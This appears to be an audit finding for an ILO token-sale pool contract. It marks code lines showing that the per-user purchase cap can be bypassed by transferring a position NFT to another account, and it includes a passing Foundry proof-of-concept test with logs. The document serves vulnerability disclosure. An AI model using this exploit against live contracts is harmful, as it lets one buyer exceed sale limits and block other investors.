struct InitPoolParams {
        address uniV3Pool;
        int24 tickLower; 
        int24 tickUpper;
        uint160 sqrtRatioLowerX96; 
        uint160 sqrtRatioUpperX96;
        uint256 hardCap; // total amount of raise tokens
        uint256 softCap; // minimum amount of raise token needed for launch pool
        uint256 maxCapPerUser; // TODO: user tiers
        uint64 start;
        uint64 end;

        // config for vests and shares. 
        // First element is always for investor 
        // and will mint nft when investor buy ilo
        VestingConfig[] vestingConfigs;
    }
// If the investor already has a position, increase the raise amount and liquidity
// Otherwise, mint a new NFT for the investor and assign vesting schedules
@> if (balanceOf(recipient) == 0) { // The user can easily set their balance to 0
   _mint(recipient, (tokenId = _nextId++));
   _positionVests[tokenId].schedule = _vestingConfigs[0].schedule;
} else {
   tokenId = tokenOfOwnerByIndex(recipient, 0);
}

Position storage _position = _positions[tokenId];
@> require(raiseAmount <= saleInfo.maxCapPerUser - _position.raiseAmount, "UC"); // User can open multiple positions bypassing the `maxCapPerUser` constraint
_position.raiseAmount += raiseAmount;
function testBypassUserCap() external {
        address alice = makeAddr("alice");
        address aliceSecondAccount = makeAddr("aliceSecondAccount");
        address bob = makeAddr("bob");

        _prepareBuyFor(alice);
        _prepareBuyFor(bob);

        console.log("Pool hard cap: ", IILOPool(iloPool).getSaleInfo().hardCap / 1e18);
        console.log("Pool max cap per user: ", IILOPool(iloPool).getSaleInfo().maxCapPerUser / 1e18);

        uint256 maxUserAmount = IILOPool(iloPool).getSaleInfo().maxCapPerUser;
        (uint256 tokenIdAlice, uint128 liquidityAlice) = _buyFor(alice, SALE_START + 1, maxUserAmount); // User buys the max cap

        console.log("Total raised after first buy from Alice:", IILOPool(iloPool).getTotalRaised() / 1e18);
        assertEq(IILOPool(iloPool).balanceOf(alice), 1);

        vm.prank(alice);
        ERC721(iloPool).transferFrom(alice, aliceSecondAccount, tokenIdAlice);

        assertEq(IILOPool(iloPool).balanceOf(alice), 0);
        assertEq(IILOPool(iloPool).balanceOf(aliceSecondAccount), 1);

        (uint256 tokenIdAliceSecond, uint128 liquidityAliceSecond) = _buyFor(alice, SALE_START + 1, 30000 ether); // User buys more than the max cap

        console.log("Total raised after second buy from Alice:", IILOPool(iloPool).getTotalRaised() / 1e18);
        assertEq(IILOPool(iloPool).balanceOf(alice), 1);

        vm.expectRevert(bytes("HC"));
        (uint256 tokenIdBob, uint128 liquidityBob) = _buyFor(bob, SALE_START + 1, 20000 ether); // A new investor wants to buy a position, but reverts

        assertEq(IILOPool(iloPool).balanceOf(bob), 0);

        _writeTokenBalance(SALE_TOKEN, iloPool, 95000 * 4 ether);
        vm.warp(SALE_END + 1);

        vm.prank(address(iloManager));
        IILOPool(iloPool).launch();

        vm.warp(VEST_END_1);

        vm.startPrank(aliceSecondAccount);
        ERC721(iloPool).transferFrom(aliceSecondAccount, alice, tokenIdAlice); // Alice gets her first token back
        vm.stopPrank();

        assertEq(IILOPool(iloPool).balanceOf(alice), 2);

        vm.startPrank(alice);
        IILOPool(iloPool).claim(tokenIdAlice);
        IILOPool(iloPool).claim(tokenIdAliceSecond);
        vm.stopPrank();

        assertGt(IERC20(SALE_TOKEN).balanceOf(alice), maxUserAmount);
    }
Ran 1 test for test/ILOPool.t.sol:ILOPoolTest
[PASS] testBypassUserCap() (gas: 3339405)
Logs:
  Pool hard cap:  100000
  Pool max cap per user:  60000
  Total raised after first buy from Alice: 60000
  Total raised after second buy from Alice: 90000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.65s (395.09ms CPU time)
